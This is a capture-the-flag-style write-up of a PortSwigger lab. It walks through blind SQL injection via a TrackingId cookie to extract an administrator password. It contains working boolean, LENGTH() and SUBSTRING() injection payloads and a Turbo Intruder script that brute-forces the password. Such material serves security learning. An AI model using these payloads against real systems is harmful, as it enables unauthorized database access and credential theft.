Blind SQL Injection with Conditional Responses

Posted 2026-08-29Practitioner Web PortSwigger
Blind SQL Injection with Conditional Responses

Scenario Analysis

The vulnerable parameter here is TrackingId, which sits inside the Cookie header. The server uses it directly in a SQL query behind the scenes.

I quickly noticed that:

  • When the injected condition is true (returns at least 1 row), the page includes the text Welcome back.
  • When it's false (0 rows), that text disappears.

That difference is all I need to exfiltrate data one character at a time. The goal: extract the administrator password from the users table and log in at /login.

Confirming the Vulnerability

I intercepted a request to / and sent it to Repeater. Then I modified the TrackingId to run a basic boolean test:

True condition:

</> http
GET / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: TrackingId=ORIGINAL_ID' AND '1'='1; session=YOUR_SESSION

Welcome back is present — the condition was evaluated as true.

False condition:

</> http
GET / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: TrackingId=ORIGINAL_ID' AND '1'='2; session=YOUR_SESSION

Welcome back disappears. Blind SQL injection confirmed.

Determining Password Length

Before brute-forcing the characters, I needed to know how long the password is. I injected a LENGTH() check:

</> http
Cookie: TrackingId=ORIGINAL_ID' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=1)='a; session=YOUR_SESSION

I incremented the value manually — =1, =2, =3... until Welcome back reappeared. It came back at 20.

The password is exactly 20 characters long.

Extracting the Password with Turbo Intruder

With the length confirmed, I moved on to character extraction. I opened Turbo Intruder from Repeater — right-click → ExtensionsTurbo IntruderSend to Turbo Intruder.

In the upper window, I set up the HTTP template with %s placeholders for the position and the character to test:

</> http
Cookie: TrackingId=ORIGINAL_ID' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'), %s, 1) = '%s; session=YOUR_SESSION

Then in the lower window, I pasted the automation script:

</> python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=100,
                           pipeline=False)

    chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
    for pos in range(1, 21):
        for char in chars:
            engine.queue(target.req, [str(pos), char])

def handleResponse(req, interesting):
    if 'Welcome back' in req.response:
        table.add(req)

I hit Launch attack and within seconds the results table showed exactly 20 hits — one correct character per position.

Authentication

I put the 20 characters together in order, navigated to My account (/login), logged in as administrator with the extracted password, and the lab was solved.

Lab solved! 🏴